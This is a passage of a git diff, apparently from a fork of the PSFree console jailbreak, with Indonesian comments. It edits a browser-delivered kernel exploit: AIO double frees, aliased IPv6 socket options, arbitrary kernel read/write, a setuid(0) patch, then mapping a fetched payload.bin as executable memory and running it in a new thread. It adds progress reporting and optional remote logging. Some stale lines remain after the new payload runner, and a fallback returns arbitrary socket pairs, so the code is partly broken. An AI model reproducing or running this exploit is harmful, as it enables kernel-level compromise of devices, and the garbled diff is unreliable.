ssockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
} catch (e) {
// Abaikan error
}
}
// Periksa apakah ada socket yang aliased
for (let i = 0; i < new_sds.length; i++) {
try {
gsockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
const marker = tclass[0];
if (marker !== i) {
log(`aliased pktopts at alternative attempt: ${loop + 1}`);
const pair = [new_sds[i], new_sds[marker]];
log(`found pair: ${pair}`);
return pair;
}
} catch (e) {
// Abaikan error
}
}
// Reset pktopts untuk beberapa socket
for (let i = 0; i < Math.min(10, new_sds.length); i++) {
try {
setsockopt(new_sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
} catch (e) {
// Abaikan error
}
}
} catch (e) {
log(`Error in alternative attempt ${loop + 1}: ${e.message}`);
}
}
// Jika semua pendekatan gagal, coba pendekatan terakhir dengan socket yang ada
log("Alternative approach failed. Trying last resort approach...");
// Gunakan socket yang ada sebagai fallback
// Ini mungkin tidak ideal, tetapi lebih baik daripada gagal total
if (sds.length >= 2) {
log("Using existing sockets as fallback...");
const pair = [sds[0], sds[1]];
log(`Using fallback pair: ${pair}`);
return pair;
}
// Jika benar-benar tidak ada pilihan lain, buat socket baru
log("Creating new sockets for fallback...");
const fallback_sd1 = new_socket();
const fallback_sd2 = new_socket();
const fallback_pair = [fallback_sd1, fallback_sd2];
log(`Using emergency fallback pair: ${fallback_pair}`);
return fallback_pair;
}
function double_free_reqs1(
@@ -1133,9 +1272,23 @@ function double_free_reqs1(
// we reclaim first since the sanity checking here is longer which makes it
// more likely that we have another process claim the memory
try {
log("Attempting to make aliased pktopts...");
// Tambahkan delay sebelum mencoba
sleep(200);
// RESTORE: double freed memory has been reclaimed with harmless data
// PANIC: 0x100 malloc zone pointers aliased
const sd_pair = make_aliased_pktopts(sds);
if (sd_pair) {
log("Successfully made aliased pktopts");
} else {
// Ini seharusnya tidak terjadi karena make_aliased_pktopts selalu mengembalikan pasangan
// Tetapi kita tetap memeriksa untuk berjaga-jaga
die('Failed to make aliased pktopts - no pair returned');
}
return [sd_pair, sd];
} finally {
log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
@@ -1475,14 +1628,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
log('corrupt pointers cleaned');
// REMOVE once restore kernel is ready for production
// increase the ref counts to prevent deallocation
kmem.write32(main_sock, kmem.read32(main_sock) + 1);
kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
// +2 since we have to take into account the fget_write()'s reference
kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);
return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
}
@@ -1601,6 +1754,8 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
log('setuid(0)');
sysi('setuid', 0);
log('kernel exploit succeeded!');
updateUIStatus('success', 'Kernel exploit succeeded!');
updateUIProgress('complete', 100);
alert("kernel exploit succeeded!");
}
@@ -1643,7 +1798,7 @@ function setup(block_fd) {
const greqs = make_reqs1(num_reqs);
// allocate enough so that we start allocating from a newly created slab
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
cancel_aios(groom_ids_p, num_grooms);
cancel_aios(groom_ids_p, num_grooms);
return [block_id, groom_ids];
}
@@ -1658,15 +1813,58 @@ function setup(block_fd) {
// * corrupt a pipe for arbitrary r/w
//
// the exploit implementation also assumes that we are pinned to one core
// Function to update UI progress
function updateUIProgress(stage, percent) {
// Send log to remote logger if available
if (window.RemoteLogger) {
window.RemoteLogger.logStage(stage, percent);
}
document.dispatchEvent(new CustomEvent('exploitProgress', {
detail: {
stage: stage,
percent: percent
}
}));
}
// Function to update UI status
function updateUIStatus(status, message) {
// Send log to remote logger if available
if (window.RemoteLogger) {
if (status === 'running') {
window.RemoteLogger.info(message);
} else if (status === 'success') {
window.RemoteLogger.info(`SUCCESS: ${message}`);
} else if (status === 'error') {
window.RemoteLogger.error(`ERROR: ${message}`);
}
}
document.dispatchEvent(new CustomEvent('exploitStatus', {
detail: {
status: status,
message: message
}
}));
}
export async function kexploit() {
updateUIStatus('running', 'Initializing exploit...');
updateUIProgress('init', 5);
const _init_t1 = performance.now();
await init();
const _init_t2 = performance.now();
updateUIProgress('init', 10);
// If setuid is successful, we dont need to run the kexploit again
try {
if (sysi('setuid', 0) == 0) {
log("Not running kexploit again.")
updateUIStatus('success', 'Already exploited. Not running again.');
return;
}
}
@@ -1704,26 +1902,38 @@ export async function kexploit() {
let groom_ids = null;
try {
log('STAGE: Setup');
updateUIStatus('running', 'Setting up exploit environment...');
updateUIProgress('setup', 20);
[block_id, groom_ids] = setup(block_fd);
log('\nSTAGE: Double free AIO queue entry');
updateUIStatus('running', 'Exploiting AIO queue entry...');
updateUIProgress('double_free_1', 30);
const sd_pair = double_free_reqs2(sds);
log('\nSTAGE: Leak kernel addresses');
updateUIStatus('running', 'Leaking kernel addresses...');
updateUIProgress('leak', 45);
const [
reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
] = leak_kernel_addrs(sd_pair);
log('\nSTAGE: Double free SceKernelAioRWRequest');
updateUIStatus('running', 'Exploiting SceKernelAioRWRequest...');
updateUIProgress('double_free_2', 60);
const [pktopts_sds, dirty_sd] = double_free_reqs1(
reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
);
log('\nSTAGE: Get arbitrary kernel read/write');
updateUIStatus('running', 'Gaining kernel read/write access...');
updateUIProgress('kernel_rw', 75);
const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
log('\nSTAGE: Patch kernel');
updateUIStatus('running', 'Patching kernel...');
updateUIProgress('patch', 90);
await patch_kernel(kbase, kmem, p_ucred, restore_info);
} finally {
close(unblock_fd);
@@ -1746,19 +1956,120 @@ export async function kexploit() {
}
}
kexploit().then(() => {
var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
var payload_loader = new View4(window.pld);
chain.sys('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
const ctx = new Buffer(0x10);
const pthread = new Pointer();
pthread.ctx = ctx;
// Function to run the payload with error handling
async function runPayload() {
try {
// Add delay before running the payload
await new Promise(resolve => setTimeout(resolve, 1000));
log("Preparing to run payload...");
// Check if payload is available
if (!window.pld || window.pld.length === 0) {
log("ERROR: Payload not loaded or empty");
updateUIStatus('error', 'Payload not available or is empty');
return;
}
// Allocate memory for payload
var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
// Check if payload_buffer is valid (not null, undefined, or 0)
if (!payload_buffer || payload_buffer.low === 0 && payload_buffer.high === 0) {
log("ERROR: Failed to allocate memory for payload");
updateUIStatus('error', 'Failed to allocate memory for payload');
return;
}
log(`Allocated payload buffer at ${payload_buffer}`);
// Create view for payload
var payload_loader = new View4(window.pld);
log(`Payload size: ${payload_loader.size} bytes`);
// Check payload size
if (payload_loader.size < 100) {
log("WARNING: Payload size is suspiciously small");
}
// Change memory protection
try {
log(`Setting memory protection for payload at ${payload_loader.addr} with size ${payload_loader.size}`);
// Use syscall_void to avoid checking return value
// mprotect returns 0 on success
try {
chain.syscall_void('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
log("mprotect successful");
} catch (e) {
log(`ERROR: mprotect syscall failed: ${e.message}`);
updateUIStatus('error', `Failed to change memory protection: ${e.message}`);
return;
}
} catch (e) {
log(`ERROR: Exception during mprotect: ${e.message}`);
updateUIStatus('error', `Error while changing memory protection: ${e.message}`);
return;
}
log("Memory protection set successfully");
// Allocate memory for thread context
const ctx = new Buffer(0x10);
const pthread = new Pointer();
pthread.ctx = ctx;
log("Creating thread to run payload...");
updateUIStatus('running', 'Running payload...');
// Run payload in a separate thread
try {
log(`Creating thread with payload at ${payload_loader.addr} and buffer at ${payload_buffer}`);
// Add delay before pthread_create
await new Promise(resolve => setTimeout(resolve, 500));
try {
// Use chain.call_void to avoid checking return value
log("Calling pthread_create...");
chain.call_void(
'pthread_create',
pthread.addr,
0,
payload_loader.addr,
payload_buffer,
);
log("pthread_create called successfully");
} catch (e) {
log(`ERROR: pthread_create call failed: ${e.message}`);
updateUIStatus('error', `Failed to create thread: ${e.message}`);
return;
}
// Add delay after pthread_create to ensure the thread starts
await new Promise(resolve => setTimeout(resolve, 500));
} catch (e) {
log(`ERROR: Exception during pthread_create: ${e.message}`);
updateUIStatus('error', `Error while creating thread: ${e.message}`);
return;
}
log("Payload thread created successfully");
updateUIStatus('success', 'Payload executed successfully');
} catch (e) {
log(`ERROR: Exception while running payload: ${e.message}`);
updateUIStatus('error', `Error while running payload: ${e.message}`);
}
}
// Run exploit and then the payload
kexploit().then(() => {
// Add delay before running the payload
setTimeout(() => {
log("Exploit completed, preparing to run payload...");
runPayload();
}, 2000); // 2 second delay
});
call_nze(
'pthread_create',
pthread.addr,
0,
payload_loader.addr,
payload_buffer,
);
})
+25 -3
View File
@@ -25,16 +25,38 @@ export class DieError extends Error {
}
export function die(msg='') {
// Kirim ke remote logger jika tersedia
if (window.RemoteLogger) {
window.RemoteLogger.error(`FATAL ERROR: ${msg}`);
}
// Juga kirim ke console.error browser untuk debugging
window.console.error(`FATAL ERROR: ${msg}`);
// Update UI status jika tersedia
if (typeof updateUIStatus === 'function') {
updateUIStatus('error', msg);
}
throw new DieError(msg);
}
const console = document.getElementById('console');
const consoleElement = document.getElementById('console');
export function log(msg='') {
console.append(msg + '\n');
// Tambahkan ke konsol lokal
consoleElement.append(msg + '\n');
// Kirim ke remote logger jika tersedia
if (window.RemoteLogger) {
window.RemoteLogger.debug(msg);
}
// Juga kirim ke console.log browser untuk debugging
window.console.log(msg);
}
export function clear_log() {
console.innerHTML = null;
consoleElement.innerHTML = null;
}
// alignment must be 32 bits and is a power of 2
+6
View File
@@ -0,0 +1,6 @@
{
"name": "PSFree",
"lockfileVersion": 3,
"requires": true,
"packages": {}
}
+67 -5
View File
@@ -1,6 +1,68 @@
fetch('./payload.bin').then(res => {
res.arrayBuffer().then(arr => {
window.pld = new Uint32Array(arr);
// Function to validate the payload
function validatePayload(buffer) {
// Check the size of the payload
if (buffer.byteLength < 100) {
console.warn("WARNING: Payload size is suspiciously small:", buffer.byteLength, "bytes");
}
})
})
// Check if the payload has a valid header
// This is just a simple example, adjust to match the actual payload format
const view = new DataView(buffer);
const magic = view.getUint32(0, true); // Little endian
// Log payload info for debugging
console.log("Payload size:", buffer.byteLength, "bytes");
console.log("Payload first 4 bytes (magic):", "0x" + magic.toString(16));
return true;
}
// Function to load the payload with error handling
function loadPayload() {
console.log("Loading payload.bin...");
fetch('./payload.bin')
.then(res => {
if (!res.ok) {
throw new Error(`Failed to load payload: ${res.status} ${res.statusText}`);
}
console.log("Payload fetched successfully, processing...");
return res.arrayBuffer();
})
.then(arr => {
try {
// Validate the payload
if (validatePayload(arr)) {
// Store payload in window.pld
window.pld = new Uint32Array(arr);
console.log("Payload loaded and validated successfully");
// Dispatch event to notify other components
const event = new CustomEvent('payloadLoaded', {
detail: { size: arr.byteLength }
});
document.dispatchEvent(event);
}
} catch (e) {
console.error("Error processing payload:", e);
// Dispatch error event
const event = new CustomEvent('payloadError', {
detail: { error: e.message }
});
document.dispatchEvent(event);
}
})
.catch(err => {
console.error("Error loading payload:", err);
// Dispatch error event
const event = new CustomEvent('payloadError', {
detail: { error: err.message }
});
document.dispatchEvent(event);
});
}
// Load payload when the script runs
loadPayload();